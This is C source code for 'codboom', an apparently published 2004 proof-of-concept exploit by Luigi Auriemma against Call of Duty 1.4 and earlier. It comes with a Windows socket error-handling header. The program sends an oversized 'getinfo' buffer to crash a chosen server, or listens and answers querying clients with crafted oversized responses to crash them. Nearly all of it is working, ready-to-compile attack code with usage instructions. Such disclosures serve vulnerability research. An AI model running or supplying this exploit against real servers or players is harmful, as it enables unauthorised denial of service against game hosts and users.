/* winerr.h */ /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } /* codboom.c */ /* by Luigi Auriemma */ #include #include #include #ifdef WIN32 #include #include #include #include "winerr.h" #define close closesocket #else #include #include #include #include #include #endif #define VER "0.1" #define BUFFSZ 2048 #define PORT 28960 #define TIMEOUT 3 #define INFO "\xff\xff\xff\xff" "getinfo xxx\n" #define BOOM "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // must be major than 1023 bytes #define SVBOF "\xff\xff\xff\xff" "getinfo %s\n" #define CLBOF "\xff\xff\xff\xff" \ "%sResponse\n" \ "\\g_gametype\\dm" \ "\\gamename\\Call of Duty" \ "\\mapname\\mp_carentan" \ "\\protocol\\5" \ "\\scr_friendlyfire\\0" \ "\\scr_killcam\\0" \ "\\shortversion\\1.4" \ "\\sv_allowAnonymous\\0" \ "\\sv_floodProtect\\1" \ "\\sv_hostname\\Crash" \ "\\sv_maxclients\\26" \ "\\sv_maxPing\\0" \ "\\sv_maxRate\\10000" \ "\\sv_minPing\\0" \ "\\sv_privateClients\\0" \ "\\sv_punkbuster\\1" \ "\\sv_pure\\1" \ "\\pswrd\\0" \ "\\mod\\1" \ "\\crash\\%s" void show_info(u_char *buff); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { int sd, len, psz, on = 1, type; u_short port = PORT; u_char buff[BUFFSZ + 1]; struct sockaddr_in peer; setbuf(stdout, NULL); fputs("\n" "Call of Duty <= 1.4 server/client shutdown "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\nUsage: %s [port(%d)]\n" "\n" "Attack:\n" " c = broadcast clients shutdown\n" " s = server shutdown\n" " You must add the IP or the hostname of the server after the 's'.\n" "\n" "Some usage examples:\n" " codboom c listens on port %d for clients\n" " codboom c 1234 listens on port 1234\n" " codboom s 192.168.0.1 tests the server 192.168.0.1 on port %d\n" " codboom s codserver 1234 tests the server codserver on port 1234\n" "\n", argv[0], PORT, PORT, PORT); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif type = argv[1][0]; if(type == 's') { if(argc < 3) { printf("\n" "Error: you must specify the server IP or hostname.\n" " Example: %s s localhost\n" "\n", argv[0]); exit(1); } peer.sin_addr.s_addr = resolv(argv[2]); if(argc > 3) port = atoi(argv[3]); printf("\n- Target %s:%hu\n", inet_ntoa(peer.sin_addr), port); } else if(type == 'c') { peer.sin_addr.s_addr = INADDR_ANY; if(argc > 2) port = atoi(argv[2]); printf("\n- Listen on port %d\n", port); } else { fputs("\n" "Error: Wrong type of chosen attack.\n" " You can choose between 2 types of attacks, passive versus clients with\n" " 'c' or versus servers with 's'\n" "\n", stdout); exit(1); } peer.sin_port = htons(port); peer.sin_family = AF_INET; psz = sizeof(peer); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(type == 's') { fputs("- Request informations\n", stdout); if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd) < 0) { fputs("\n" "Error: socket timeout, probably the server is not online or the port is wrong\n" "\n", stdout); exit(1); } len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); if(len < 0) std_err(); buff[len] = 0x00; show_info(buff); fputs("- Send BOOM packet\n", stdout); len = sprintf(buff, SVBOF, BOOM); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); if(len < 0) std_err(); buff[len] = 0x00; printf("\n" "Server doesn't seem to be vulnerable, the following is the answer received:\n" "\n%s\n\n", buff); } } else { if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs(" Clients:\n", stdout); for(;;) { len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); if(len < 0) std_err(); buff[len] = 0x00; printf("%16s:%hu -> %s\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port), buff); if(!memcmp(buff + 4, "getinfo", 7)) { len = sprintf(buff, CLBOF, "info", BOOM); } else { len = sprintf(buff, CLBOF, "status", BOOM); } if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); } } close(sd); return(0); } void show_info(u_char *buff) { int nt = 1; u_char *string; while((string = strchr(buff, '\\'))) { *string = 0x00; if(!nt) { printf("%30s: ", buff); nt++; } else { printf("%s\n", buff); nt = 0; } buff = string + 1; } printf("%s\n", buff); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-09-05]